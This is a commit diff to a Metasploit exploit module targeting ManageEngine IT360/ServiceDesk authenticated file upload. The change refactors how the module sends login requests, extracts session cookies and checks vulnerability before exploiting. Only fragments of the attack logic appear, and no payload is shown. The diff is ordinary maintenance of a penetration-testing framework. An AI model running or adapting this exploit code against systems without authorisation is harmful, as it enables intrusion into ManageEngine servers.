Avoid modify datastore options

modules/exploits/multi/http/manageengine_auth_upload.rb

@@ -163,29 +163,25 @@ class Metasploit3 < Msf::Exploit::Remote
       }
     else
       vars_post = {
-          'LOGIN_ID' => username,
-          'PASSWORD' => password,
-          'isADEnabled' => 'true',
-          'domainName' => datastore['DOMAIN_NAME']
+        'LOGIN_ID' => username,
+        'PASSWORD' => password,
+        'isADEnabled' => 'true',
+        'domainName' => datastore['DOMAIN_NAME']
       }
     end
 
-    sd_port = datastore['RPORT']
-    datastore['RPORT'] = port
-
     res = send_request_cgi({
+      'rport'  => port,
       'method' => 'POST',
-      'uri' => normalize_uri(path),
+      'uri'    => normalize_uri(path),
       'vars_get' => {
-        'service' => 'ServiceDesk',
-        'furl' => '/',
+        'service'   => 'ServiceDesk',
+        'furl'      => '/',
         'timestamp' => Time.now.to_i
       },
       'vars_post' => vars_post
     })
 
-    datastore['RPORT'] = sd_port
-
     if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
       # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
       return res.get_cookies
@@ -211,7 +207,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def login_it360
     # Do we already have a valid cookie? If yes, just return that.
-    if datastore['IAMAGENTTICKET'] != nil
+    if datastore['IAMAGENTTICKET']
       cookie_name = get_it360_cookie_name
       cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
       return cookie
@@ -230,6 +226,7 @@ class Metasploit3 < Msf::Exploit::Remote
     end
 
     cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
+
     if cookie != nil
       return cookie
     elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil
@@ -371,6 +368,11 @@ class Metasploit3 < Msf::Exploit::Remote
 
 
   def exploit
+    if check == Exploit::CheckCode::Safe
+      fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable")
+    end
+
+    print_status("#{peer} - Selecting target...")
     @my_target = pick_target
     print_status("#{peer} - Selected target #{@my_target.name}")
 
@@ -379,6 +381,7 @@ class Metasploit3 < Msf::Exploit::Remote
     else
       cookie = login
     end
+
     if cookie == nil
       fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to authenticate")
     end